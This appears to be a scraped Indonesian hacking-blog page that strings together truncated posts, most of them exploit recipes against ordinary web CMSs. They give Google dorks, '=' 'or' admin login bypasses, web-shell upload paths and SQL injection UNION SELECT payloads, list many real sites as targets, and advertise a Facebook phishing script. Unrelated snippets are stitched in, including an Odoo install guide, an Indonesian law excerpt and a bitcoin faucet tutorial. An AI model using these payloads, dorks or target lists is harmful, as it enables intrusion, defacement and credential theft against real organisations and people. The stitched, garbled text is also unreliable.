Alwdy

Editpub Access to Admin Panel Discovered by : Zedan-Mrx Dork : intext:"Powered By Editpub" Choose Any Site then write /admin/ after the Domain Example : http://site.com/admin/ Then u will be in the admin panel $_$ Demo : http://www.flora-plastic.com/admin/

Vulnerability: Rein Technologies Admin Panel Bypass | | Author: SonnySpooks | | Admin User: '=' 'OR' | | Admin Pass: '=' 'OR' Dork: Powered By: REIN TECHNOLOGIES demo: http://premiermotorbikes.com/index.php?pg=admin http://www.yashinoya.co.ke/admin http://www.geofirm.co.ke/pages/admin http://www.npi-africa.org/admin

Author: SonnySpooks Twitter: @SonnySpooks Username: '=' 'OR' Password: '=' 'OR' AdminLocation: /search/admin.php Dork: intext:"Powered by: Bransonsites.com" demo: http://www.attablerocklake.com/search/admin.php http://whatsmyhouseworthbranson.com/search/adminsiteact.php http://www.sharonslakehomes.com/search/admin.ph http://realestate.bransonsites.com/search/admin.php http://www.bransontablerocklakehomes.com/search/admin.ph http://www.attablerocklake.com/search/admin.php http://jimstockton.com/search/admin.php http://www.drinkdinghy.com/search/admin.php http://www.w3costaricacoffee.com/search/admin.php http://www.lakepropertiesbranson.com/search/admin.ph http://bransonbusinessforsale.com/search/admin.php

Cara Mudah Install Odoo 11.0 di Localhost | Odoo (Open ERP) adalah aplikasi ERP (Enterprise Resources Planning) modern dan lengkap yang didistribusikan secara open source, didalamnya terdapat berbagai program aplikasi bisnis termasuk Sales, CRM, Human Resources, Warehouse Management, Manufacturing, Finance and Accounting dan lain sebagainya. Baca Juga : Cara Install Prestashop Odoo(OpenERP) dibangun menggunakan teknologi framework open object yang memiliki kekuatan arsitektur MVC (Model View Controller), workflow atau Alur Kerja Proses yang fleksibel, GUI yang dinamis, antarmuka XML-RPC dan sistem pelaporan yang dapat dikustomisasi sesuai dengan kebutuhan. Odoo(OpenERP) merupakan web aplikasi yang dibangun menggunakan bahasa pemograman Phyton, XML, dan JavaScript serta menggunakan PostgreeSQL sebagai database management systemnya. SEJARAH ODOO Odoo(OpeERP) yang sebelumnya adalah TinyERP lalu berubah menjadi OpenERP dan sekarang menjadi Odoo ditulis dengan bahasa Phyton oleh sebuah per...

Baru-baru ini hacker dengan kodenama Berandal berhasil meretas sub-domain Lembaga Penerbangan dan  Antariksa Nasional dan meninggalkan pesan dan beberapa kodenama di alamat http://siforenmonev.lapan.go.id/ Berikut pesan dan kodenama yang ditulis oleh pelaku : Hacked by Berandal Mail me for vulnerability report :) ~ \ We Are / ~ Artefvcker | Arrownonymous | Berandal | Blck0Wl? | GoC_X | k4luga | KxK_PrajurID ShoursCout | WoNg_Nd35O | Yonkou4 | ZEUS | 0wLCulun | iNSaNiTY | ./ARMVXO | 19T4N ~ \ Shootz / ~ ./L3M0T - 4prili666h05T - RESIS-07 - Badc0de - Z3U54774CK - ./N4skun - ind0nesia6etar! - z0nk666_id Contact : berandal1337@gmail.com belum diketahui motif apa di balik aksi peretasan ini, sampai berita ini di turunkan ,  nampaknya admin belum mengetahuinya. kalian bisa melihat mirrornya disini http://www.zone-h.org/mirror/id/30434817

* Exploit Title : Responsive FileManager * Date : 2017-10-23 * Vendor Homepage : http://www.responsivefilemanager.com * Dork 1 : "Webdesign by: risema.pt" * Dork 2 : "Webdesign by: criativo.net" * Dork 3 : "Webdesign by: basicamente.pt" * Tested on Win 8 * POC : [ Sitetarget.com/filemanager/dialog.php ] Upload Your File. Ur file [Sitetarget.com/uploads/yourfile.html] [!] If u want to upload a backdoor. Rename the file to Shell.php.fla * Demo : http://www.darkseashoes.com http://www.hotelalbano.pt/ http://www.joiadaeuropa.com/ http://www.jcplda.com/ http://www.hupashoes.net/

| Exploit Title: บ้านเว็บไซต์ cms sql injection | | Exploit Author: Ashiyane Digital Security Team | | Vendor Homepage: http://www.baanwebsite.com | | Google Dork : intext:"Powered by บ้านเว็บไซต์" inurl:view.php?id= | | Tested on: Windows 10 ~~~> Google Chrome | | vulnerable file : /view.php | | ADMIN PAGE : target/admin | | Date: 2017/25/10 |==========================================================| | | Proof : | | http://www.cho-runglert.co.th/career/view.php?id=10 | | http://www.thebestpropertygroup.com/project/view.php?id=1 | | http://www.nyexpert87.com/products/view.php?id=46 | | http://www.ap-interpolymers.com/news/view.php?id=20 | | http://www.factorydesign.co.th/portfolio/view.php?id=31 | | http://www.phusandao.com/attractions/view.php?id=22 | | http://www.dusadee1992.com/products/view.php?id=18

# Exploit Title: springhead school Admin Login Bypass upload sh3ll # Google Dork: intext:" Springhead Primary School " # Date: 2017-10-25 # Author: Iran Anonymous # Tested on: Win 7, Linux *************************************************** # Then Choose a Target and put this after URL :--> /admin/ # And fill username and password like the information below : # Username: '=' 'or' # Password: '=' 'or' # Demo : http://www.springheadschool.eriding.net/admin/ # Sh3ll: http://www.springheadschool.eriding.net/wp.php

| Vulnerability: Rein Technologies Admin Panel Bypass | | Author: SonnySpooks | | Admin User: '=' 'OR' | | Admin Pass: '=' 'OR' | |-------------------------------------------------------| OverView |-------------------------------------------------------| | This Is a vulnerability in a panel that doesnt just | | Apply to one site. Even an african orginization. | | The Software says "Offering High-class Web Site Dev"| | This is probably the lowest of lows to be even called | | High Class. |-------------------------------------------------------| Examples |-------------------------------------------------------| | http://premiermotorbikes.com/index.php?pg=admin | | http://www.yashinoya.co.ke/admin/ | | http://www.geofirm.co.ke/pages/admin/ | | http://www.npi-africa.org/admin

|--------------------------------------| | BransonSite Admin Panel bypass | |--------------------------------------| Author: SonnySpooks Twitter: @SonnySpooks Username: '=' 'OR' Password: '=' 'OR' AdminLocation: /search/admin.php |-----------------------------------------------------------------| | BransonsSite Software Is a common software used on realestate | | sites. This Leaves multiple sites Vulnerable to exposure to | | Personal info/Damage To Sales in properties. This is a big | | risk for people using the software that isnt even at its best. | | Software that comes this vulnerable with a pricetag is one of | | the most pathetic things ive came cross in times. Fix The | | Security. Best of luck to all of you who find this interesting. | |-----------------------------------------------------------------| |-----------------------------------------------------------------| | Examples | | http://www.attablerocklake.com/search/admin.php | | http://what...

#Title: WAN IT LTD SQl/XSS Deface #Dork: intext:"WAN IT LTD" inurl:"id=" +"site:edu.bd" #Date: 26.10.2017 #Test: W10 #CWEs: CWE-89 #Exploit Discovered By: Informacion - Anonymous #Author: mr.Gh0st N@0b  #======================# #P00f: #http://site.com/about_us.php?menu=aboutus&id=-about-0000001 {Inject} |--- Parameter: id (GET) Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: menu=aboutus&id=-8681' UNION ALL SELECT NULL,CONCAT(0x716b766a71,0x67 495a756b546c697068424a6759715a545a4a4255787748667350656953787a65746450734b4e6f,0x7 16a7a7171)-- Satn Vector: UNION ALL SELECT NULL,[QUERY][GENERIC_SQL_COMMENT] ---| #Admin Panel #http://site.com/admin/ {login Here} #Dem0s:  #http://sonarhatsnc.edu.bd/about_us.php… #http://rwahs.edu.bd/ #http://rwahs.edu.bd/ #http://www.gozkhalimlths.edu.bd/ #http://coghighschool.edu.bd/ #XSS Alert #/admin/add_news.php?menu=news {Exploit XSS Script} #Example #<script src="http://yourdeface....

Setelah ditelusuri kini saya menemukan bug pada Website yang memakai QuickCMS . Google dork : "CMS by Quick.Cms - Designed by BITIS & BELLA BITIS" site:use ur brain Exploit : site.com/plugins/ckeditor/filemanager/bitis.html Location file : /plugins/ckeditor/filemanager/[path]/shell.php Step :  1. Dorking menggunakan dork diatas  . 2. Pilih salah satu target .  -Live target fresh : http://duroyaumedholi.eu/ 3. Langsung saja masukkan exploit nya dan akan tampil Filemanager dari QuickCMS ini       Lihat  gambar dibawah . (http://duroyaumedholi.eu//plugins/ckeditor/filemanager/bitis.html) 4. Tinggal Upload shell kalian tanpa pusing membypass extensi nya langsung saja upload     shell.php 5. Akses http://duroyaumedholi.eu//plugins/ckeditor/filemanager/files/nazwij_folder/shell.php Thank you for Black Illusion Security <3 x404.hz - JBRXXX  - MHR27 - Mr.W42N 1D - 5AR!US4D - Gboys_flush - Raka_3rOOt - XenUx_404 - grey Than...

Script Phising Facebook Versi Hack Facebook Created M Daffa Najwan Langsung aja download tanpa basa basi Download : ZippyShare : Download script phising facebook script phising facebook mobile script phising facebook original script phishing facebook auto like script phising facebook pelangi script phising facebook login script phishing facebook tampilan auto like script phising facebook terbaru 2017 script phishing facebook quiz script phising facebook pulsa script phising facebook 2017 cara membuat script phising facebook cara buat script phising facebook download script phising facebook download script phising facebook 2015 download script phising facebook 2016 download script phising facebook 2014 download script phising facebook auto like download script phising facebook send email script phising facebook send email script phising facebook ganti nama script phising facebook pulsa gratis kumpulan script phising facebook script phising facebook auto like script phising facebook true...

UU Informasi dan Transaksi Elektronik (ITE) No.11 Tahun 2008. Pasal 30 : Ayat (1) :Setiap Orang dengan sengaja dan tanpa hak atau melawan hukum mengakses Komputer dan/atau Sistem Elektronik milik Orang lain dengan cara apa pun. Ayat (2) :Setiap Orang dengan sengaja dan tanpa hak atau melawan hukum mengakses Komputer dan/atau Sistem Elektronik dengan cara apa pun dengan tujuan untuk memperoleh Informasi Elektronik dan/atau Dokumen Elektronik. Ayat (3) :Setiap Orang dengan sengaja dan tanpa hak atau melawan hukum mengakses Komputer dan/atau Sistem Elektronik dengan cara apa pun dengan melanggar, menerobos, melampaui, atau menjebol sistem pengamanan. Hukumannya : Pasal 46 Ayat (1). Setiap Orang yang memenuhi unsur sebagaimana dimaksud dalam Pasal 30 ayat(1) dipidana dengan pidana penjara paling lama 6 (enam) tahun dan/atau denda paling banyak Rp600.000.000,00 (enam ratus juta rupiah). Ayat (2) .Setiap Orang yang memenuhi unsur sebagaimana dimaksud dalam Pasal 30 ayat(2) dipidana dengan...

Google Dork : pustaka.*.go.id pustaka.*.sch.id Exploit : /admin/modules/bibliography/pop_attach.php Lokasi File : Site.go.id/repository/Filemu.txt Step : 1. Dorking 2. Langsung Exploit target Demo : http://pustaka.mpr.go.id/admin/modules/bibliography/pop_attach.php 3. Jangan lupa Tambahkan Nama dibagian Judul , lalu Upload File kamu ext .txt  , Kalo sudah Klik Unggah Sekarang 4.Lokasi File : http://pustaka.mpr.go.id/repository/Black.txt  Big Thanks to Ice-Cream - Sanjungan Jiwa - Typical Idiot Security

Deface Wordpress Theme Theagency   Halo teman-teman pengunjung setia All Tutor Cyber. Selamat datang juga buat penunjung baru. Kali ini saya sendiri (Admin) Akan memberikan Deface Wordpress Theme Theagency Baiklah untuk lebih jelasnya Teman-teman bisa membacanya di bawah ini Baiklah ketemu lagi dengan saya Adewa kali ini saya akan memberikan tutorial cara deface metode Wordpress Theme Theagency  Langsung saja  Bahan Bahan : 1. Dork   inurl:/wp-content/themes/theagency  2. Exploit  /wp-content/themes/theagency/includes/uploadify/uploadify.php 3. Csrf  https://ghostbin.com/paste/qh7kb Step by Step Dorking dork di atas di gogle image seperti ini  Cari web vuln menggunakan Exploit  Jika blank berarti Vuln masukan alamat site ke csrf simpan dengan ekstensi html Kemudian buka csrf menggunakan gogle. Upload apa yg ingin kalian upload Done Sumur http://www.maxteroit.com/ Sekianlah Postingan Dari  All Tutor Cyber  tentang "Deface Wordpr...

# Exploit Title: TravelHungama Cms Admin Login Bypass # Google Dork: Powered By: TravelHungama # Date: 2017/10/12 # Exploit Author: Iran Cyber Security Group # Vendor Homepage: http://www.travelhungama.com/ # Version: All Version # Tested on: Win # CVE : N/A ########################### # Exploit : # Search Google Dork And Select A Target # Admin Page : site.com/admin # Username & Password : '=' 'or' # Enjoy :)

[+] Dorks: diseño: agenciaasp.com.ar - by Peyretti Sergio [+] Vendor Hompage: http://agenciaasp.com.ar [+] Category: webapps [+] Tested On: Android , Win 7 [+] Exploit Author: Mr.Vangke404 [+] Team: Eagle Cyber Army [+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+] POC ( Piye Om Carane ): [+] Cari Target: [+] Exploit : http://site.com/catalogo/administrator [+] masukan User / Pass: '=''or' / '=''or' [+] Done kakak :) [+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+] [+] Demo:  1. http://simaferretera.com.ar/catalogo/administrador/panel-principal.html [+] 2. http://www.hidracor.com.ar/catalogo/administrador

[+] exploit title :  Agent Image Admin Login bypass [+] Dork 1 : intext:"Design by Agent Image" inurl:ID= [+] Dork 2 : inurl:request_appt.php?id= [+] Vendor Homepage: https://www.agentimage.com [+] Category: Webapps [+] Tested on: WiN7_x64 [+] Exploit Author: r4j4z [+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+] [+] Proof of Concept [+] find target [+] Enter username and password with [+] username : '=' 'or' [+] password : '=' 'or' [+] Admin Address : admin [+] Demo : https://www.lisavancerealestate.com/admin [+] [+] [+] [+] [+] [+] [+] [+] persiansecurity [R4j4z]

[+]Exploit :  TipTopLand Design - ckfinder Upload File                                     [+] [+]Exploit Author : BlackErroR                                                         [+] [+]Telegram : @BlackErroR                                                             [+] [+]Exploit Dork : intext:" طراحی و برنامه‌نویسی وب : TipTopLand Design Studio"[+] intext:" طراحی و برنامه‌نویسی وب : TipTopLand "[+] intext:"TipTopLand Design Studio" [+] [+]Tested On : Win 7 - Firefox                                       ...

Hello guys kali ini gw akan share Cara Mendapatkan Bitcoin di Adbtc.top , simak bro Step by step 1. Register DISINI 2. Isi Email , Bitcoin Address dan Passwordnya, Lalu klik REGISTER   3. Jika Sukses akan seperti ini   4. Kemudian kalian akan masuk ke DASHBOARD , lalu klik  EARN ADS dibagian menu EARN 5. Kalian harus mengisi Captcha dulu ea, lalu klik KIRIM KUERI 6. Jika sudah , maka nanti tampilannya akan seperti ini , klik START 7. Dia akan membuat Tab Baru (NB : biarkan saja jangan diclose) , tunggu sampai waktunya habis 8. Jika waktu dititle sudah habis (ada tulisan YAHHOOOO) dia akan reload dengan sendirinya dan You Earned Satoshi :)  Jika masih belum mengerti harap komen ya A DICK A DICK ! NB : Minimal WITHDRAW 15K SATOSHI (15000 SATOSI)

Malam guys, sebenarnya gw udah lama pengen nulis nih tutor sejak abad 16 M , tapi sibuk terus yah sekarang gw nulisnya o_oO ??? Dork kalian bisa cari di mbah google mbah bing atau mbah yandex Dork : inurl:news.php?id= "crotz" untuk mengetes keperawanan tambahkan ' string terbukti nih web perawan ::::))))))) selanjutnya langsung UNION SELECT , kok di lain ORDER BY dulu ? itu kelamaan :) silahkan kalian UNION SELECT web sampe muncul angka contoh target.com/news.php?id=-11 ' UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10--+ Nah ada angka 5 Kemudian kita mengecek versi database silahkan tambahkan ke angka yang muncul contoh di saya adalah 5 target.com/news.php?id=-11' UNION ALL SELECT 1,2,3,4, @@version ,6,7,8,9,10--+ kalian tambahkan @@version atau version() "5.5.53-0ubuntu0.14.04.1-log" kalo ada versi 4 proses lebih sulit kita harus menebak tabel 1 per satu sekarang untuk memunculkan nama nama tabel silahkan tambahkan "group_concat(table_name)" di angka 5...